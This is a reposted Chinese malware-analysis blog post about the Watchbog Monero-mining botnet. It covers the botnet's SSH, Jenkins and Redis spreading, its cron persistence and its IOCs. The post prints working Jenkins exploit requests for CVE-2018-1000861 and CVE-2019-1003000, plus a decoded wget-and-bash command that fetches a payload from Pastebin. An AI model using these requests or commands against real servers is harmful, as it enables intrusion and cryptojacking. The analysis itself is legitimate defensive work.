当前位置: 首页 > news >正文

对 Watchbog Botnet 渗透过程和 Payload 的分析

漏洞利用

  • CVE-2018-1000861 https://jenkins.io/security/advisory/2018-12-05/

Watchbog在做什么?

Watchbog僵尸网络为其所有者挖掘Monero加密货币

通过SSH进行横向移动

使用SSH进行横向扩散。使用网络日志可以看到大量的SSH流量

以下Bash脚本用于促进横向移动过程。检索受感染系统上的known_hosts文件的内容,然后尝试SSH到这些系统。还检查SSH密钥是否存在,并利用它们对known_hosts文件中的系统进行身份验证。如果成功则启动感染模块。

549050-20190913022055891-1570974903.png

通过JENKINS和REDIS服务器进行横向移动

除了利用SSH进行横向移动之外,Watchbog还尝试利用Python脚本扫描主机子网上的开放Jenkins和Redis端口。如果脚本发现任何易受攻击的服务器,会尝试使用curl或wget命令从Pastebin检索有效的Payload并在目标上执行。

根据第71行的以下字符串,该脚本以CVE-2018-1000861为目标,这是Staple Web框架中的漏洞,适用于处理HTTP请求的Jenkins 2.138.1或2.145版本。

549050-20190913022302487-391211494.png

持久性机制

使用cron,dropper每小时调用Pastebins以获取新信息。下面的截图显示了Watchbog配置负责实现受感染系统持久性的cron作业的方式。

549050-20190913022438752-2085468774.png

受害者机器上的Payload

CVE-2018-1000861 :

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=True&value=public class x{public x(){new String("776765742068747470733a2f2f706173746562696e2e636f6d2f7261772f42335235556e7768202d4f202f746d702f62616279".decodeHex()).execute()}} HTTP/1.1
Host: [victim_host]:[jenkins_port]

针对CVE-2019-1003000的攻击

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host: [victim_host]:[jenkins_port]

CVE-2018-1000861是Jenkins的Stapler Web框架中的漏洞,而CVE-2019-1003000是Script Security Plugin中的漏洞。

前CVE-2018-1000861有效负载中的十六进制编码部分下载并运行恶意shell命令:

···
wget https://pastebin.com/raw/B3R5Unwh -O /tmp/baby
bash /tmp/baby
···
包含的url指向另一个pastebin url(https://pastebin.com/raw/J6NdVBHq),它指向另一个。

549050-20190913022742540-1882944607.png

549050-20190913022759023-1569738504.png

恶意shell脚本的主要部分已编码并放在https://pastebin.com/raw/KGwfArMR中。

挖掘和持久性

在执行上述shell脚本期间,通过从以下URL下载(从$ mi_64解码)在受害者服务器上安装加密货币挖掘器

https://github.com/xmrig/xmrig/releases/download/v2.14.1/xmrig-2.14.1-xenial-x64.tar.gz

549050-20190913022912147-1870120307.png

挖掘的配置文件如下:

549050-20190913022935582-234912179.png

恶意shell脚本通过将自身添加到crontab来维护持久性。

549050-20190913023010247-211414167.png

其他被篡改的crontab文件:

549050-20190913023100738-253166367.png

IOC

Hashes (SHA256):

b383d0fdfa5036ccfa5d9c2b43cbfd814bce8778978873057b86678e5295fc61 0b0567c9b45ea0a3ea4267001f0760ccdf2b8224fceaf8979d32fcceb2d6fb7a

3A6271A90D0F6CC8A2D31D45D931E8401F13F7377932BA07D871DC42F252B9CA

Domains:

aziplcr72qjhzvin[.]onion[.]to

安全建议

  • 内部使用服务不应暴露于互联网。使用适当的ACL或其他身份验证技术仅允许来自可信用户的访问。
  • 用户必须及时升级其软件,尤其是当软件供应商发布了与安全相关的建议时。

参考

  • https://www.alibabacloud.com/blog/return-of-watchbog-exploiting-jenkins-cve-2018-1000861_594798
  • https://blogs.jpcert.or.jp/ja/2018/06/wellmess.html

转载于:https://www.cnblogs.com/17bdw/p/11515944.html

相关文章:

  • c++ 初学者 慢慢成长中
  • max pool实现
  • Kafka Stream 以及其他流处理框架对比
  • cpp 面向对象初步探索
  • cpp 实现简易String类
  • Apache Kafka(十)Partitions与Replication Factor 调整准则
  • 蒜头君的购物袋1、蒜头君的购物袋2-(01背包)
  • vue页面传参
  • SSM框架-Spring
  • 端口扫描
  • js 条件方法、数组方法
  • 利用Python原始库完成一个端口扫描的功能
  • 服务器spring boot版本,平滑升级
  • 平滑启动shell脚本
  • java遍历一个实体
  • [译] 理解数组在 PHP 内部的实现(给PHP开发者的PHP源码-第四部分)
  • 4月23日世界读书日 网络营销论坛推荐《正在爆发的营销革命》
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • Angular2开发踩坑系列-生产环境编译
  • angular2开源库收集
  • - C#编程大幅提高OUTLOOK的邮件搜索能力!
  • HashMap剖析之内部结构
  • javascript从右向左截取指定位数字符的3种方法
  • PyCharm搭建GO开发环境(GO语言学习第1课)
  • RedisSerializer之JdkSerializationRedisSerializer分析
  • VirtualBox 安装过程中出现 Running VMs found 错误的解决过程
  • 不用申请服务号就可以开发微信支付/支付宝/QQ钱包支付!附:直接可用的代码+demo...
  • 思维导图—你不知道的JavaScript中卷
  • 小而合理的前端理论:rscss和rsjs
  • 因为阿里,他们成了“杭漂”
  • 在weex里面使用chart图表
  • Salesforce和SAP Netweaver里数据库表的元数据设计
  • ​力扣解法汇总946-验证栈序列
  • # 执行时间 统计mysql_一文说尽 MySQL 优化原理
  • #Linux(帮助手册)
  • (三)c52学习之旅-点亮LED灯
  • (四)docker:为mysql和java jar运行环境创建同一网络,容器互联
  • (转)Android中使用ormlite实现持久化(一)--HelloOrmLite
  • (最完美)小米手机6X的Usb调试模式在哪里打开的流程
  • ***详解账号泄露:全球约1亿用户已泄露
  • .axf 转化 .bin文件 的方法
  • .NET CLR基本术语
  • .net mvc 获取url中controller和action
  • .Net下C#针对Excel开发控件汇总(ClosedXML,EPPlus,NPOI)
  • .Net中wcf服务生成及调用
  • [ vulhub漏洞复现篇 ] Apache Flink目录遍历(CVE-2020-17519)
  • [\u4e00-\u9fa5] //匹配中文字符
  • [2019.3.20]BZOJ4573 [Zjoi2016]大森林
  • [Android实例] 保持屏幕长亮的两种方法 [转]
  • [C++基础]-初识模板
  • [ccc3.0][数字钥匙] UWB配置和使用(二)
  • [ERROR] Plugin 'InnoDB' init function returned error
  • [Go WebSocket] 多房间的聊天室(三)自动清理无人房间
  • [LeetCode][138]【学习日记】深拷贝带有随机指针的链表
  • [pytorch] 2. tensorboard